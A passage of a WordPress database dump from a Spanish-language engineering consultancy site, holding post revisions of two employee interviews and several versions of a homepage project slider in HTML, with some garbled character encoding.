06:16:55','',2569,'http://moffattnichol.com/spanish/wp-content/uploads/2012/07/Brad-new.jpg',0,'attachment','image/jpeg',0),(2571,1,'2012-07-09 06:16:14','2012-07-09 06:16:14','','Auto Draft','','inherit','open','open','','2569-revision','','','2012-07-09 06:16:14','2012-07-09 06:16:14','',2569,'http://moffattnichol.com/spanish/2569-revision/',0,'revision','',0),(2572,1,'2012-07-09 06:17:25','2012-07-09 06:17:25','<p class=\"para-text\">\r\n<strong> Brad</strong>\r\nGerente de Proyectos / Ingeniero Superior Costera\r\n \r\n<strong>¿Cuánto tiempo has estado con Moffatt & Nichol?</strong>\r\n15 años\r\n \r\n<strong>¿Cómo llegaste a la empresa?</strong>\r\nYo quería ser parte de Moffatt & Nichol desde que estaba en la escuela de posgrado de obtener mi título en ingeniería de costas en 1985. La firma fue muy conocido por su excelente trabajo costera en la costa oeste, pero yo no quería vivir en el área del Gran La única oficina de la costa oeste de entonces. Unos 12 años después de su graduación, cuando un proyecto de 3 años que había estado trabajando en Boise, Idaho, estaba terminando, estaba considerando la posibilidad de regresar a California o quedarse en Idaho. Mi mamá, que vive en California, ha querido \"animar\" a mí (y sus 2 nietos) para volver y me empezó a enviar los anuncios para puestos de ingeniero que vio en el periódico. El primer anuncio que envió fue para un puesto en Moffatt & Nichol-una empresa que no sabía nada. Creo que fue un presagio. Le contesté al anuncio, se entrevistó con un equipo muy experimentado de profesionales todos ellos siguen trabajando con la empresa y fue contratado para el trabajo. \r\n \r\n<strong>¿Qué te ha mantenido con la empresa desde hace 15 años?</strong>\r\nNuestra firma ofrece la perfecta trifecta para mí: un trabajo interesante, la gente, y una cultura de la empresa solidaria y positiva. Me siento muy afortunado de hacer lo que me gusta hacer, y estoy bien.\r\n \r\n<strong>¿Cómo ha sido su papel desarrollado desde que llegaste?</strong> \r\nHe sido capaz de trabajar en proyectos grandes, con gran trabajo en equipo y colaboración, y grandes clientes. Es un reto fantástico para poder hacer que las ideas la derecha tangible ante los ojos, como un proyecto de muelle reciente que hemos diseñado y construido en sólo 6 meses en el modo de Fastrack.  \r\n \r\n<strong>¿Qué tipos de proyectos no se trabaja en o ha trabajado?</strong>\r\nParece que tengo la gran fortuna de trabajar en proyectos en lugares hermosos. Como un entusiasta ciclista y al aire libre, esto realmente me atrae en muchos niveles. Parece que la empresa como un todo funciona de maravillas. Yo he pagado algunas deudas también, incluyendo una inmersión en diciembre, con agua de 50 grados y la visibilidad de 0,01 metros de altura.\r\n \r\n<strong>¿Cómo describiría el ambiente de trabajo?</strong>\r\nExcepcional la autonomía y la organización únicamente horizontal. Acciones de gestión de la riqueza y la alabanza, así como la gente respeta y la flexibilidad de trabajo. También me gustan mucho los esfuerzos para reconocer y dar visibilidad a las personas para crear un sentido de ser valorado.\r\n\r\n<strong>Lo que separa a Moffatt & Nichol de su competencia? </strong>\r\nEl respeto que la empresa tiene para sus empleados-como lo demuestra el volumen de negocio muy bajo y el talento excepcional. Las personas creativas ... Declaración de soluciones prácticas que realmente es cierto. Además, no hay división entre la dirección y los trabajadores. La firma demuestra el respeto a los empleados en lugar de ser simplemente una frase a menudo citada vacío.\r\n</p>','Brad','','inherit','open','open','','2569-revision-2','','','2012-07-09 06:17:25','2012-07-09 06:17:25','',2569,'http://moffattnichol.com/spanish/2569-revision-2/',0,'revision','',0),(2574,1,'2012-01-03 08:38:00','2012-01-03 03:08:00','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Dean.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Dean.jpg\" alt=\"\" title=\"Dean\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1535\" /></a>\n\n<p class=\"para-text\">\n<strong>Dean </strong>\nEspecialista principal de operaciones portuarias\n\n<strong>Â¿Cuanto tiempo ha trabajado con M&N? </strong>\nHe trabajado con la firma por mÃ¡s de 3 aÃ±os. Originalmente, ayudÃ© a establecer nuestra oficina en Londres, que se abriÃ³ a inicios de julio de 2005. DespuÃ©s fui transferido a Nueva York en donde he tenido la oportunidad de ayudar a enlazar nuestras operaciones europeas y norteamericanas.\n\n<strong>Â¿CÃ³mo llegÃ³ a M&N?</strong>\nVengo de una familia â€œportuariaâ€ muy tradicional. Mi padre trabajÃ³ en los muelles de Londres y en el puerto de Tilbury, mi abuelo fue estibador en West India Docks y mi bisabuelo trabajÃ³ en el â€œPool of Londonâ€ (un Ã¡rea situada entre el puente de la torre y el puente de Londres), asÃ que quizÃ¡s fue inevitable que ingresara al negocio familiar en el puerto de Tilbury. En ese empleo, carguÃ© naves, estuve a cargo de estibadores y conduje todo los equipos. La oportunidad para trasladarme al equipo comercial se presentÃ³ en Forth Ports PLC. MÃ¡s adelante, decidÃ cambiar a periodismo y fui a trabajar a Containerisation International antes de ingresar al Ã¡rea de consultorÃa marÃtima. Estaba allÃ, alrededor del aÃ±o 2001, cuando comencÃ© a trabajar como consultor secundario para Moffatt & Nichol. TambiÃ©n me reunÃa regularmente con el Director de desarrollo de negocios de la firma. Cuando llegÃ³ la oportunidad de unirme a la firma y ayudar a establecer una nueva oficina en Londres, me pareciÃ³ la decisiÃ³n correcta a tomar, y es algo que jamÃ¡s he lamentado.\n\n<strong>Â¿QuÃ© separa a M&N de la competencia? </strong>\nDesde un punto de vista puramente comercial y de consultor portuario, es una combinaciÃ³n de varias cosas: La capacidad de ofrecer mÃ¡s que solamente servicios de consultorÃa; el paquete de Moffatt & Nichol representa mucho, porque despuÃ©s de ofrecer el anÃ¡lisis comercial inicial, no nos desligamos del cliente como algunos de nuestros competidores de consultorÃa, porque esa es toda su capacidad. Ofrecemos a nuestros clientes consistencia y continuidad en los proyectos, llevÃ¡ndolos desde el concepto y el planeamiento a travÃ©s del diseÃ±o, hasta terminar el proyecto. Mucha experiencia directa y aplicable dentro de nuestro equipo comercial â€“ ofrecemos una gran tranquilidad a muchos de nuestros clientes al poder demostrarles que tenemos personal que ha ocupado los puestos que ellos tienen. Para un puerto o una compaÃ±Ãa naviera, saber que hemos lidiado con los mismos problemas que ellos tienen, es muy importante. Trabajamos mucho para construir y mantener relaciones de largo plazo con los clientes. Probablemente, lo mÃ¡s importante de todo es que somos honestos y entregamos lo que decimos que entregaremos. Ofrecemos una credibilidad cimentada a lo largo del tiempo. Uno de los mejores consejos que me dieron y que siempre intento seguir con Moffatt & Nichol es la creencia de que \"hacemos lo que sabemos hacer mejor\"\n\n<strong>Â¿QuÃ© es lo mÃ¡s interesante en que ha participado durante su trabajo con M&N? </strong>\nLa respuesta es fÃ¡cil: Â¡cambiarse a otra oficina y a otro paÃs! En tÃ©rminos de proyectos, ha habido varios, pero el principal para mÃ es un proyecto sobre un cliente que adquiriÃ³ una participaciÃ³n en una cartera de terminales de contenedores con instalaciones en Long Beach, Oakland y Seattle, ademÃ¡s de JapÃ³n y TaiwÃ¡n. Tuvimos que combinar una mezcla de anÃ¡lisis industrial comercial con la debida diligencia tÃ©cnica ganada de enviar a un equipo experto experimentado a seis diferentes terminales. Este equipo coordinÃ³ y trabajÃ³ con varios profesionales de toda la compaÃ±Ãa, lo que nos dio una mayor comprensiÃ³n y un conocimiento directo de la amplias capacidades y experiencia profesional que posee Moffatt & Nichol. \n\n</p>\n','Dean','<strong>Â¿Cuanto tiempo ha trabajado con M&N? </strong>\nHe trabajado con la firma por mÃ¡s de 3 aÃ±os. Originalmente, ayudÃ© a establecer nuestra oficina en Londres, que se abriÃ³ a inicios de julio de 2005. DespuÃ©s fui transferido a Nueva York en donde he tenido la oportunidad de ayudar a enlazar nuestras operaciones europeas y norteamericanas.\n\n<strong>Â¿CÃ³mo llegÃ³ a M&N?</strong>\nVengo de una familia â€œportuariaâ€ muy tradicional </p>','inherit','open','open','','1534-revision','','','2012-01-03 08:38:00','2012-01-03 03:08:00','',1534,'http://moffattnichol.com/spanish/1534-revision/',0,'revision','',0),(2575,1,'2012-07-09 07:48:46','2012-07-09 07:48:46','','Brad-new','','inherit','open','open','','brad-new-2','','','2012-07-09 07:48:46','2012-07-09 07:48:46','',2569,'http://moffattnichol.com/spanish/wp-content/uploads/2012/07/Brad-new.jpg',0,'attachment','image/jpeg',0),(2576,1,'2012-07-09 06:17:51','2012-07-09 06:17:51','<p class=\"para-text\">\r\n<strong> Brad</strong>\r\nGerente de Proyectos / Ingeniero Superior Costera\r\n \r\n<strong>¿Cuánto tiempo has estado con Moffatt & Nichol?</strong>\r\n15 años\r\n \r\n<strong>¿Cómo llegaste a la empresa?</strong>\r\nYo quería ser parte de Moffatt & Nichol desde que estaba en la escuela de posgrado de obtener mi título en ingeniería de costas en 1985. La firma fue muy conocido por su excelente trabajo costera en la costa oeste, pero yo no quería vivir en el área del Gran La única oficina de la costa oeste de entonces. Unos 12 años después de su graduación, cuando un proyecto de 3 años que había estado trabajando en Boise, Idaho, estaba terminando, estaba considerando la posibilidad de regresar a California o quedarse en Idaho. Mi mamá, que vive en California, ha querido \"animar\" a mí (y sus 2 nietos) para volver y me empezó a enviar los anuncios para puestos de ingeniero que vio en el periódico. El primer anuncio que envió fue para un puesto en Moffatt & Nichol-una empresa que no sabía nada. Creo que fue un presagio. Le contesté al anuncio, se entrevistó con un equipo muy experimentado de profesionales todos ellos siguen trabajando con la empresa y fue contratado para el trabajo. \r\n \r\n<strong>¿Qué te ha mantenido con la empresa desde hace 15 años?</strong>\r\nNuestra firma ofrece la perfecta trifecta para mí: un trabajo interesante, la gente, y una cultura de la empresa solidaria y positiva. Me siento muy afortunado de hacer lo que me gusta hacer, y estoy bien.\r\n \r\n<strong>¿Cómo ha sido su papel desarrollado desde que llegaste?</strong> \r\nHe sido capaz de trabajar en proyectos grandes, con gran trabajo en equipo y colaboración, y grandes clientes. Es un reto fantástico para poder hacer que las ideas la derecha tangible ante los ojos, como un proyecto de muelle reciente que hemos diseñado y construido en sólo 6 meses en el modo de Fastrack.  \r\n \r\n<strong>¿Qué tipos de proyectos no se trabaja en o ha trabajado?</strong>\r\nParece que tengo la gran fortuna de trabajar en proyectos en lugares hermosos. Como un entusiasta ciclista y al aire libre, esto realmente me atrae en muchos niveles. Parece que la empresa como un todo funciona de maravillas. Yo he pagado algunas deudas también, incluyendo una inmersión en diciembre, con agua de 50 grados y la visibilidad de 0,01 metros de altura.\r\n \r\n<strong>¿Cómo describiría el ambiente de trabajo?</strong>\r\nExcepcional la autonomía y la organización únicamente horizontal. Acciones de gestión de la riqueza y la alabanza, así como la gente respeta y la flexibilidad de trabajo. También me gustan mucho los esfuerzos para reconocer y dar visibilidad a las personas para crear un sentido de ser valorado.\r\n\r\n<strong>Lo que separa a Moffatt & Nichol de su competencia? </strong>\r\nEl respeto que la empresa tiene para sus empleados-como lo demuestra el volumen de negocio muy bajo y el talento excepcional. Las personas creativas ... Declaración de soluciones prácticas que realmente es cierto. Además, no hay división entre la dirección y los trabajadores. La firma demuestra el respeto a los empleados en lugar de ser simplemente una frase a menudo citada vacío.\r\n</p>','Brad','<p class=\"para-text\">\r\n<strong> Brad</strong>\r\nGerente de Proyectos / Ingeniero Superior Costera\r\n<strong>¿Cuánto tiempo has estado con Moffatt & Nichol?</strong>\r\n15 años\r\n<strong>¿Cómo llegaste a la empresa?</strong>\r\nYo quería ser parte de Moffatt & Nichol desde que estaba en la escuela de posgrado de obtener mi título en ingeniería de costas en 1985.</p>\r\n','inherit','open','open','','2569-revision-3','','','2012-07-09 06:17:51','2012-07-09 06:17:51','',2569,'http://moffattnichol.com/spanish/2569-revision-3/',0,'revision','',0),(2577,1,'2012-06-15 04:09:28','2012-06-15 04:09:28','<div class=\"content_one\">\r\n  <div class=\"lft_content\">\r\n    <h1>acerca de moffatt &amp; nichol</h1>\r\n    <div class=\"welcome-txt\">Moffatt &amp; Nichol es un destacado consultor de infraestructura a nivel global que se especializa en el planeamiento y diseño de las instalaciones que dan forma a nuestras líneas costeras, puertos y ríos, así como un innovador en las complejidades del transporte relacionadas con el movimiento de carga terrestre.</div>\r\n    <div class=\"moreinformation\"><a title=\"Más acerca de Moffatt &amp; Nichol\" href=\"about-us\">Más acerca de Moffatt &amp; Nichol</a> | <a title=\"Ubicación de las oficinas\" href=\"our-offices\">Ubicación de las oficinas</a> | <a title=\"Información de contacto\" href=\"contact-us\">Información de contacto</a></div></div>\r\n  <div class=\"logo_center\"><a title=\"Moffatt &amp; Nichol\" href=\"http://moffattnichol.com/spanish/\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/logo_center.jpg\" alt=\"Moffatt &amp; Nichol\" width=\"214\" height=\"86\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"banner\">\r\n  <div class=\"slider-wrap\">\r\n  <ul id=\"movers-row\">\r\n              <li class=\"featured_projects\">proyectos especiales</li>\r\n              <li class=\"cross-link\"><a href=\"#1\" class=\"cross-link\">Puertos, <br />y terminales marítimas</a></li>\r\n              <li class=\"cross-link\"><a href=\"#2\" class=\"cross-link\">Recursos costeros, <br /> medioambientales e hídricos</a></li>\r\n              <li class=\"cross-link\"><a href=\"#3\" class=\"cross-link\">Transporte, <br />puentes y ferrocarriles</a></li>\r\n              <li class=\"cross-link\"><a href=\"#4\" class=\"cross-link\">Frentes de mar urbanos <br /> y puertos deportivos </a></li>\r\n              <li class=\"cross-link\"><a href=\"#5\" class=\"cross-link\">Energía</a></li>\r\n              <li class=\"cross-link\"><a href=\"#6\" class=\"cross-link\">Inspección y rehabilitación</a></li>\r\n            </ul>\r\n    <div id=\"main-photo-slider\" class=\"csw\">\r\n      <div class=\"panelContainer\">\r\n        <div class=\"panel\" title=\"Ports, harbors, &amp; marine terminals\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/ports-new/ports-one.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\r\n            <div class=\"photo-meta-data\">\r\n              <div class=\"project_title\">\r\n                <div class=\"project_left\"><strong class=\"green\">Reemplazo del muelle 5 de reparación de naves</strong></div>\r\n                <div class=\"project_right\">Moffatt &amp; Nichol lideró una empresa conjunta con MN3M que proporcionó el planeamiento, el análisis, la representación gráfica, los documentos de contratos de diseño-licitación-construcción, <span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/ports-harbors-marine-terminals/\">Leer más</a></span></div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n        <div class=\"panel\" title=\"Coastal, environmental &amp; water resources\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/coastal-banner/coastel-four.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\r\n            <div class=\"photo-meta-data\">\r\n              <div class=\"project_title\">\r\n                <div class=\"project_left\"><strong class=\"green\">Coney Island Sea-Gate</strong></div>\r\n                <div class=\"project_right\">Como parte de un estudio que examinó el funcionamiento del proyecto de rellenado de playas de Coney Island, Moffatt &amp; Nichol desarrolló <span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/coastal-environmental-water-resources/\">Leer más</a></span></div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n        <div class=\"panel\" title=\"Transportation, bridge & rail\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/new-transport/trans-two.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\r\n            <div class=\"photo-meta-data\">\r\n              <div class=\"project_title\">\r\n                <div class=\"project_left\"><strong class=\"green\">Centro de transferencia de contenedores intermodal Chatham Yard</strong></div>\r\n                <div class=\"project_right\">Bajo un contrato en marcha de servicios profesionales con la autoridad portuaria de Georgia, Moffatt &amp; Nichol completó el planeamiento, <span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/transportation-bridge-rail/\">Leer mÃ¡s</a></span></div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n        <div class=\"panel\" title=\"Urban waterfronts &amp; marinas\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/urban-new/urban-four.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\r\n            <div class=\"photo-meta-data\">\r\n              <div class=\"project_title\">\r\n                <div class=\"project_left\"><strong class=\"green\">Diseño de la ribera de South Lake Union Park</strong></div>\r\n                <div class=\"project_right\">Como parte de un equipo multidisciplinario, Moffatt &amp; Nichol proporcionó el diseño de ingeniería estructural y costera, además de la construcción<span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-marinas/\">Leer más</a></span></div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n        <div class=\"panel\" title=\"energía\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/energy/energy-two.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\r\n            <div class=\"photo-meta-data\">\r\n              <div class=\"project_title\">\r\n                <div class=\"project_left\"><strong class=\"green\">Terminal de GNL Kitimat</strong></div>\r\n                <div class=\"project_right\">Moffatt &amp; Nichol completó la selección del lugar, las evaluaciones de navegación, el apoyo para la aplicación de los reglamentos, el diseño preliminar,<span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/energy/\">Leer más</a></span></div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n        <div class=\"panel\" title=\"Inspection &amp; rehabilitation\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/inspection/ins-four.jpg\" alt=\"\" width=\"588\" height=\"231\" /></div>\r\n          <div class=\"photo-meta-data\">\r\n            <div class=\"project_title\">\r\n              <div class=\"project_left\"><strong class=\"green\">Rehabilitación del antiguo muelle 11A de la Marina</strong></div>\r\n              <div class=\"project_right\">Moffatt &amp; Nichol colaboró con el Puerto unificado de San Diego en la evaluación del antiguo y estratégicamente localizado muelle 11A de la Marina en San Diego <span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/inspection-rehabilitation/\">Leer más</a></span></div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n      </div>\r\n    </div>\r\n  </div>\r\n</div>','Inicio','','inherit','open','open','','19-revision-4','','','2012-06-15 04:09:28','2012-06-15 04:09:28','',19,'http://moffattnichol.com/spanish/19-revision-4/',0,'revision','',0),(2578,1,'2012-07-09 11:07:14','2012-07-09 11:07:14','<div class=\"content_one\">\r\n  <div class=\"lft_content\">\r\n    <h1>acerca de moffatt &amp; nichol</h1>\r\n    <div class=\"welcome-txt\">Moffatt &amp; Nichol es un destacado consultor de infraestructura a nivel global que se especializa en el planeamiento y diseño de las instalaciones que dan forma a nuestras líneas costeras, puertos y ríos, así como un innovador en las complejidades del transporte relacionadas con el movimiento de carga terrestre.</div>\r\n    <div class=\"moreinformation\"><a title=\"Más acerca de Moffatt &amp; Nichol\" href=\"about-us\">Más acerca de Moffatt &amp; Nichol</a> | <a title=\"Ubicación de las oficinas\" href=\"our-offices\">Ubicación de las oficinas</a> | <a title=\"Información de contacto\" href=\"contact-us\">Información de contacto</a></div></div>\r\n  <div class=\"logo_center\"><a title=\"Moffatt &amp; Nichol\" href=\"http://moffattnichol.com/spanish/\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/logo_center.jpg\" alt=\"Moffatt &amp; Nichol\" width=\"214\" height=\"86\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"banner\">\r\n  <div class=\"slider-wrap\">\r\n  <ul id=\"movers-row\">\r\n              <li class=\"featured_projects\">proyectos especiales</li>\r\n              <li class=\"cross-link\"><a href=\"#1\" class=\"cross-link\">Puertos, <br />y terminales marítimas</a></li>\r\n              <li class=\"cross-link\"><a href=\"#2\" class=\"cross-link\">Recursos costeros, <br /> medioambientales e hídricos</a></li>\r\n              <li class=\"cross-link\"><a href=\"#3\" class=\"cross-link\">Transporte, <br />puentes y ferrocarriles</a></li>\r\n              <li class=\"cross-link\"><a href=\"#4\" class=\"cross-link\">Frentes de mar urbanos <br /> y puertos deportivos </a></li>\r\n              <li class=\"cross-link\"><a href=\"#5\" class=\"cross-link\">Energía</a></li>\r\n              <li class=\"cross-link\"><a href=\"#6\" class=\"cross-link\">Inspección y rehabilitación</a></li>\r\n            </ul>\r\n    <div id=\"main-photo-slider\" class=\"csw\">\r\n      <div class=\"panelContainer\">\r\n        <div class=\"panel\" title=\"Puertos, y terminales marítimas\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/ports-new/ports-one.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\r\n            <div class=\"photo-meta-data\">\r\n              <div class=\"project_title\">\r\n                <div class=\"project_left\"><strong class=\"green\">Reemplazo del muelle 5 de reparación de naves</strong></div>\r\n                <div class=\"project_right\">Moffatt &amp; Nichol lideró una empresa conjunta con MN3M que proporcionó el planeamiento, el análisis, la representación gráfica, los documentos de contratos de diseño-licitación-construcción, <span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/ports-harbors-marine-terminals/\">Leer más</a></span></div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n        <div class=\"panel\" title=\"Recursos costeros, medioambientales e hídricos\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/coastal-banner/coastel-four.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\r\n            <div class=\"photo-meta-data\">\r\n              <div class=\"project_title\">\r\n                <div class=\"project_left\"><strong class=\"green\">Coney Island Sea-Gate</strong></div>\r\n                <div class=\"project_right\">Como parte de un estudio que examinó el funcionamiento del proyecto de rellenado de playas de Coney Island, Moffatt &amp; Nichol desarrolló <span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/coastal-environmental-water-resources/\">Leer más</a></span></div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n        <div class=\"panel\" title=\"Transporte, puentes y ferrocarriles\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/new-transport/trans-one.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\r\n            <div class=\"photo-meta-data\">\r\n              <div class=\"project_title\">\r\n                <div class=\"project_left\"><strong class=\"green\">Corredor Alameda</strong></div>\r\n                <div class=\"project_right\">Como miembro de la empresa Corredor Alameda Equipo de Ingeniería de las articulaciones, Moffatt & Nichol proporcionan planificación, ingeniería <span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/transportation-bridge-rail/\">Leer mÃ¡s</a></span></div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n        <div class=\"panel\" title=\"Frentes de mar urbanos y puertos deportivos\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/urban-new/urban-four.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\r\n            <div class=\"photo-meta-data\">\r\n              <div class=\"project_title\">\r\n                <div class=\"project_left\"><strong class=\"green\">Diseño de la ribera de South Lake Union Park</strong></div>\r\n                <div class=\"project_right\">Como parte de un equipo multidisciplinario, Moffatt &amp; Nichol proporcionó el diseño de ingeniería estructural y costera, además de la construcción<span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-marinas/\">Leer más</a></span></div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n        <div class=\"panel\" title=\"Energía\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/energy/energy-two.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\r\n            <div class=\"photo-meta-data\">\r\n              <div class=\"project_title\">\r\n                <div class=\"project_left\"><strong class=\"green\">Terminal de GNL Kitimat</strong></div>\r\n                <div class=\"project_right\">Moffatt &amp; Nichol completó la selección del lugar, las evaluaciones de navegación, el apoyo para la aplicación de los reglamentos, el diseño preliminar,<span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/energy/\">Leer más</a></span></div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n        <div class=\"panel\" title=\"Inspección y rehabilitación\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/inspection/ins-four.jpg\" alt=\"\" width=\"588\" height=\"231\" /></div>\r\n          <div class=\"photo-meta-data\">\r\n            <div class=\"project_title\">\r\n              <div class=\"project_left\"><strong class=\"green\">Rehabilitación del antiguo muelle 11A de la Marina</strong></div>\r\n              <div class=\"project_right\">Moffatt &amp; Nichol colaboró con el Puerto unificado de San Diego en la evaluación del antiguo y estratégicamente localizado muelle 11A de la Marina en San Diego <span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/inspection-rehabilitation/\">Leer más</a></span></div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n      </div>\r\n    </div>\r\n  </div>\r\n</div>','Inicio','','inherit','open','open','','19-revision-5','','','2012-07-09 11:07:14','2012-07-09 11:07:14','',19,'http://moffattnichol.com/spanish/19-revision-5/',0,'revision','',0),(2579,1,'2012-07-09 11:11:46','2012-07-09 11:11:46','<div class=\"content_one\">\r\n  <div class=\"lft_content\">\r\n    <h1>acerca de moffatt &amp; nichol</h1>\r\n    <div class=\"welcome-txt\">Moffatt &amp; Nichol es un destacado consultor de infraestructura a nivel global que se especializa en el planeamiento y diseño de las instalaciones que dan forma a nuestras líneas costeras, puertos y ríos, así como un innovador en las complejidades del transporte relacionadas con el movimiento de carga terrestre.</div>\r\n    <div class=\"moreinformation\"><a title=\"Más acerca de Moffatt &amp; Nichol\" href=\"about-us\">Más acerca de Moffatt &amp; Nichol</a> | <a title=\"Ubicación de las oficinas\" href=\"our-offices\">Ubicación de las oficinas</a> | <a title=\"Información de contacto\" href=\"contact-us\">Información de contacto</a></div></div>\r\n  <div class=\"logo_center\"><a title=\"Moffatt &amp; Nichol\" href=\"http://moffattnichol.com/spanish/\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/logo_center.jpg\" alt=\"Moffatt &amp; Nichol\" width=\"214\" height=\"86\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"banner\">\r\n  <div class=\"slider-wrap\">\r\n  <ul id=\"movers-row\">\r\n              <li class=\"featured_projects\">proyectos especiales</li>\r\n              <li class=\"cross-link\"><a href=\"#1\" class=\"cross-link\">Puertos, <br />y terminales marítimas</a></li>\r\n              <li class=\"cross-link\"><a href=\"#2\" class=\"cross-link\">Recursos costeros, <br /> medioambientales e hídricos</a></li>\r\n              <li class=\"cross-link\"><a href=\"#3\" class=\"cross-link\">Transporte, <br />puentes y ferrocarriles</a></li>\r\n              <li class=\"cross-link\"><a href=\"#4\" class=\"cross-link\">Frentes de mar urbanos <br /> y puertos deportivos </a></li>\r\n              <li class=\"cross-link\"><a href=\"#5\" class=\"cross-link\">Energía</a></li>\r\n              <li class=\"cross-link\"><a href=\"#6\" class=\"cross-link\">Inspección y rehabilitación</a></li>\r\n            </ul>\r\n    <div id=\"main-photo-slider\" class=\"csw\">\r\n      <div class=\"panelContainer\">\r\n        <div class=\"panel\" title=\"Puertos, y terminales marítimas\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/ports-new/ports-one.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\r\n            <div class=\"photo-meta-data\">\r\n              <div class=\"project_title\">\r\n                <div class=\"project_left\"><strong class=\"green\">Reemplazo del muelle 5 de reparación de naves</strong></div>\r\n                <div class=\"project_right\">Moffatt &amp; Nichol lideró una empresa conjunta con MN3M que proporcionó el planeamiento, el análisis, la representación gráfica, los documentos de contratos de diseño-licitación-construcción, <span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/ports-harbors-marine-terminals/\">Leer más</a></span></div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n        <div class=\"panel\" title=\"Recursos costeros, medioambientales e hídricos\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/coastal-banner/coastel-four.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\r\n            <div class=\"photo-meta-data\">\r\n              <div class=\"project_title\">\r\n                <div class=\"project_left\"><strong class=\"green\">Coney Island Sea-Gate</strong></div>\r\n                <div class=\"project_right\">Como parte de un estudio que examinó el funcionamiento del proyecto de rellenado de playas de Coney Island, Moffatt &amp; Nichol desarrolló <span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/coastal-environmental-water-resources/\">Leer más</a></span></div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n        <div class=\"panel\" title=\"Transporte, puentes y ferrocarriles\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/new-transport/trans-one.jpg\" alt=\"temp\" width=\"588\" height=\"231\" />\r\n            <div class=\"photo-meta-data\">\r\n              <div class=\"project_title\">\r\n                <div class=\"project_left\"><strong class=\"green\">Corredor Alameda</strong></div>\r\n                <div class=\"project_right\">Como miembro de la empresa Corredor Alameda Equipo de Ingeniería de las articulaciones, Moffatt & Nichol proporcionan planificación, ingeniería <span class=\"read_morenew\"><a href=\"http://moffattnichol.com/spanish/transportation-bridge-rail/\">Leer mÃ¡s</a></span></div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n        </div>\r\n        <div class=\"panel\" title=\"Frentes de mar urbanos y puertos deportivos\">\r\n          <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/urban-new/urban-one.jpg\" alt=\"temp\" 